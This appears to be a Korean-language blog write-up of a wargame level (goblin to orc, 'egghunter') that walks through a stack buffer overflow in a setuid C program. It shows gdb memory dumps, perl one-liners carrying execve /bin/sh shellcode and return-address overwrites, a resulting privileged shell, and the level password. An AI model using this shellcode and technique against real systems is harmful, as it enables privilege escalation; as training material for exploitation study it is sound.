LEVEL4 (goblin -> orc) : egghunter

이번 문제는 egghunter이다. 기존에 eggshell을 썼으면 문제를 풀기 힘들겠지만 eggshell을 사용하지 않았기에 상관이 없다.

[goblin@localhost .izayoi]$ cat orc.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


중간에 egghunter라는 환경변수를 지워버리는 소스와 함께
argv[1][47]의 값이 \xbf(스택내의 값)이 아니면 종료를 시키는 프로그램이다.

일단은 세그먼테이션 폴트 발생시키고 어디 주소에 버퍼가 쌓이는지 확인해보자

 [goblin@localhost .izayoi]$ ./orc `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/50x $esp-100
0xbffffa9c:     0x4005d920      0x400143e0      0xbffffabc      0x40066070
0xbffffaac:     0x40106980      0x08048659      0xbffffacc      0x401081ec
0xbffffabc:     0xbffffaf8      0x080485d3      0x08048659      0xbffffad0
0xbffffacc:     0x00000016      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffadc:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffaec:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffafc:     0xbfbfbfbf      0x00000000      0xbffffb44      0xbffffb50
0xbffffb0c:     0x40013868      0x00000002      0x08048450      0x00000000
0xbffffb1c:     0x08048471      0x08048500      0x00000002      0xbffffb44
0xbffffb2c:     0x08048390      0x0804860c      0x4000ae60      0xbffffb3c
0xbffffb3c:     0x40013e90      0x00000002      0xbffffc3d      0xbffffc43
0xbffffb4c:     0x00000000      0xbffffc74      0xbffffc8d      0xbffffca8
0xbffffb5c:     0xbffffcc7      0xbffffce9
(gdb)
0xbffffb64:     0xbffffcf5      0xbffffeb8      0xbffffed7      0xbffffef3
0xbffffb74:     0xbfffff08      0xbfffff26      0xbfffff31      0xbfffff40
0xbffffb84:     0xbfffff48      0xbfffff52      0xbfffff62      0xbfffff70
0xbffffb94:     0xbfffff7e      0xbfffff8f      0xbfffff9a      0xbfffffac
0xbffffba4:     0xbfffffee      0x00000000      0x00000003      0x08048034
0xbffffbb4:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffbc4:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffbd4:     0x00000008      0x00000000      0x00000009      0x08048450
0xbffffbe4:     0x0000000b      0x000001f7      0x0000000c      0x000001f7
0xbffffbf4:     0x0000000d      0x000001f7      0x0000000e      0x000001f7
0xbffffc04:     0x00000010      0x0febfbff      0x0000000f      0xbffffc38
0xbffffc14:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc24:     0x00000000      0x00000000
(gdb)
0xbffffc2c:     0x00000000      0x00000000      0x00000000      0x36383669
0xbffffc3c:     0x6f2f2e00      0xbf006372      0xbfbfbfbf      0xbfbfbfbf
0xbffffc4c:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc5c:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf

0xbffffc6c:     0xbfbfbfbf      0x00bfbfbf      0x00000000      0x00000000
0xbffffc7c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc8c:     0x00000000      0x00000000      0x00000000      0x00000000

"\xbf"x48의 결과가 두 군데에서 보인다. 이것을 다시 한번 생각해보면 하나는 buffer에 쌓인 "\xbf"값일테고
또 다른 하나는 argv[1]에 쌓인 "\xbf"값일 것 이라고 생각된다.

위치 확인까지는 끝났다. 이제 공격 구문을 생각해보자

[stack] [sfp]                                      [ret]           [argc] [argv] [env]
^"\x90"x20 + shellcode(24byte).    ^buffer address                ^"\x90"x20 + shellcode(24byte).

두가지의 공격 방법이 있을 것 이다.
buffer의 주소값을 넣는 방법과 argv[1]의 주소값을 넣는 방법.

일단 실험 argv[1]

 [goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x44\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Düÿ¿
Segmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x40\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€@üÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata

???

 [goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
bash$ exit
exit
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x2c\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€,üÿ¿
Segmentation fault

argv[1]의 값이 0xbffffc30 부터 시작함을 확인할 수 있었다. 음... 묘하군.
다시 한번 생각해봐야겠다.
이번에는 buffer값을 노려보자.

 [goblin@localhost .izayoi]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xd0\xfa\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Ðúÿ¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc 1ÀPh//shh/bin‰ãPS‰á™°
                                                  Í€Ðúÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffae5 in ?? ()
(gdb) x/50x $esp-100
0xbffffa7c:     0xbffffaac      0x4000a970      0xbffffc60      0xfffffe90
0xbffffa8c:     0x4005d920      0x400143e0      0xbffffaac      0x40066070
0xbffffa9c:     0x40106980      0x08048659      0xbffffabc      0x401081ec
0xbffffaac:     0xbffffae8      0x080485d3      0x08048659      0xbffffac0
0xbffffabc:     0x00000017      0x90909090      0x90909090      0x90909090
0xbffffacc:     0x90909090      0x90909090      0x6850c031      0x68732f2f
0xbffffadc:     0x69622f68      0x00000000      0x6e69622f      0x68732f2f
0xbffffaec:     0x00000000      0x00000000      0xbffffb34      0xbffffb40
...

??? 중간에 40개의 버퍼를 다 채우지 않았음에도 불구하고 중간에 0xbffffae0(buffer[31])부분에 0x00000000값이 들어간 것을 확인할 수 있었다. 그렇다면... 구문을 잠깐 바꿔서 생각해보자
shellcode(24byte) + buffer address(현재는 0xbffffac0) * 6 을 하게되면 먹힐까

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xc0\xfa\xff\xbf"x6'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata

된다.

과연 뭐가 되긴 됐는데 뭐가 잘못된 것인가. 원인에 대해 생각해봐야겠다.
Posted by john@memory :